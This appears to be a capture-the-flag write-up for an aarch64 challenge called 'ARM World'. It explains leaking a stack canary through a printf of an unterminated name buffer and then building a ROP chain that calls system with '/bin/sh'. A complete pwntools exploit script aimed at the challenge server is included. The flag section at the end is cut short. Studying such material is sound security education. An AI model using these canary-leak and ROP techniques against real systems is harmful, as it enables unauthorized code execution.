ARM World
Challenge
Highlights
- ARM assembly
- ARM ROP
- Stack canary bypass
Discovery
The challenge seems to be a simple buffer overflow leading to ROP.
checksec output
1
2
3
4
5
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
When running it we get the chance to input a name and a guestbook, the name is printed back to us:
1
2
3
4
5
6
Welcome to ARM World!
Write your name: mideno
Your name: mideno
Write your Guestbook: my what
Thank you Guestbook!
To figure out more we’ll have to take a look at the code.
I changed the name of some of the functions and variables based on what they do since the binary is stripped.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
undefined8 chall(void)
{
undefined8 uVar1;
long lVar2;
undefined8 local_68;
undefined8 uStack_60;
undefined8 local_58;
undefined8 uStack_50;
undefined8 local_48;
undefined8 uStack_40;
undefined8 local_38;
undefined8 uStack_30;
long canary_28;
canary_28 = DAT_0049dc40;
FUN_004006d4(&DAT_0049d000,0);
FUN_0041e920(0x3c);
FUN_0040e580("Welcome to ARM World!");
local_68 = 0;
uStack_60 = 0;
local_58 = 0;
uStack_50 = 0;
printf("Write your name: ");
read(0,&local_68,80);
printf("Your name: %s\n",&local_68);
local_48 = 0;
uStack_40 = 0;
local_38 = 0;
uStack_30 = 0;
printf("Write your Guestbook: ");
scanf(&%s,&local_48);
system("echo \'Thank you Guestbook!\'");
if (canary_28 - DAT_0049dc40 != 0) {
FUN_00420ea0(&DAT_0049d000,0,canary_28 - DAT_0049dc40);
lVar2 = 2;
do {
(*(code *)(&PTR_FUN_0049c1a8)[lVar2])();
lVar2 = lVar2 + -1;
} while (lVar2 != 0);
uVar1 = FUN_00466418();
return uVar1;
}
return 0;
}
inmediately we realize some interesting stuff:
- there is a stack canary (even tho
checksec
says no) - we can only achieve control flow hijack via the
scanf
call
stack layout information:
- the canary is stored at
[rbp-0x28]
- the “name” variable is:
- stored at
[rbp-0x68]
80
bytes long
- stored at
- “guestbook” is at
[rbp-0x48]
As we can see there’s no way to craft a ROP without breaking the integrity check of the canary in principle. What we try to do always in this type of scenario is to leak the canary and then carefully craft a payload that writes it’s contents back.
We can use the printf("Your name: %s\n",&local_68);
call to leak stuff, since this prints an arbitraryly long string, it only stops printing when it finds a null terminator 0x00
.
So all we need to do is to make the name variable end where the canary starts (actually our last byte has to overlap since the canary usually starts with a null byte).
Solution
Full script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import remote, ROP, context, ELF, p64, cyclic
context.binary = ELF("./deploy/chal")
p = remote("chal.wwctf.com", 32770)
name_buff_offset = 0x68
guestbook_offset = 0x48
canary_offset = 0x28
p.sendline(b"A" * (name_buff_offset - canary_offset))
leak = p.recvuntil(b"Guestbook: ")
canary_leak_index = leak.index(b"A\n") + 2
canary = b"\x00" + leak[canary_leak_index:canary_leak_index+7]
p.sendline(b"A"*(guestbook_offset - canary_offset) +
canary + b"A"*8 + p64(0x4562f8) + cyclic(24) + p64(0x401b00) + p64(0x466608))
p.interactive()
Leaking canary
As you can see we simply send a bunch of b"A"
s to leak the canary, this returns something like this:
b'Welcome to ARM World!\nWrite your name: Your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n?\xf7\xf5\x9e\xa1\x82& \x0b\x80\nWrite your Guestbook: '
from this we index to get the canary leak and store it as a variable (do note that we have to read 7 bytes and add the null byte to the start)
So we can leak the canary and bypass the stack integrity check, but now we still need to build a good ROP.
ROP building
This should not be that hard since there is no PIE
I’ll leave the epilogue of the function here since it’s really useful:
1
2
3
4
5
6
004007e4 00 00 80 52 mov w0,#0x0
004007e8 fd 7b 45 a9 ldp x29=>local_20,x30,[sp, #0x50]
004007ec f3 33 40 f9 ldr x19,[sp, #local_10]
004007f0 ff c3 01 91 add sp,sp,#0x70
004007f4 c0 03 5f d6 ret
If you look carefully to the function decompilation, you can see there’s this call:
1
system("echo \'Thank you Guestbook!\'");
This tells us that we have the system
function which we can use to get a shell (I guessed this was system because of the argument).
The address of that function is: 00401b00
Now all we need is to get a gadget that lets us place a pointer to “/bin/sh” or similar in x0
I found “/bin/sh” in the address 0x466608
I settled for this gadget: 0x00000000004562f8 : ldr x0, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
let’s break it down:
ldr x0, [sp, #0x10]
- loads into
x0
a value stored atsp+0x10
- loads into
ldp x29, x30, [sp], #0x20
- loads into
x29
a value stored atsp
- loads into
x30
a value stored atsp+8
- increases
sp
by0x20
- loads into
ret
This might be a bit confusing at first but let’s break down the used payload a little bit too:
1
2
p.sendline(b"A"*(guestbook_offset - canary_offset) +
canary + b"A"*8 + p64(0x4562f8) + cyclic(24) + p64(0x401b00) + p64(0x466608))
so first of all we set the canary in the right place and add 8 bytes of padding until the first return address.
We place the address of our gadget so we return to it.
Then we see 24 bytes of padding before the address of system
and “/bin/sh”
Why is the padding there?
Well when the function reads the return address and writes it to x30
, the sp
register is actually 0x58
bytes before the return address, since it reads the values for x29
and x30
in a single ldp
instruction.
This makes it so that when the sp
is restored by adding 0x70
to it, it now stands at 0x70 - 0x50 = 24
bytes above the return address.
which is (if you do the mental map) 16 bytes into the cyclic(24)
, so the stack at the time of executing the gadget looks a bit like:
1
2
3
4
0x10: p64(0x466608)
0x08: p64(0x401b00)
0x0: cyclic(8)
sp
suddendly it becomes easy to understand that the first part of the gadget will load sp+0x10
into x0
and that is… our “/bin/sh” pointer!! :))
then remember that 0x30
will be read from sp+0x8
(yeah we don’t care about x29
) so that is where we have the pointer to system()
Flag
user: root: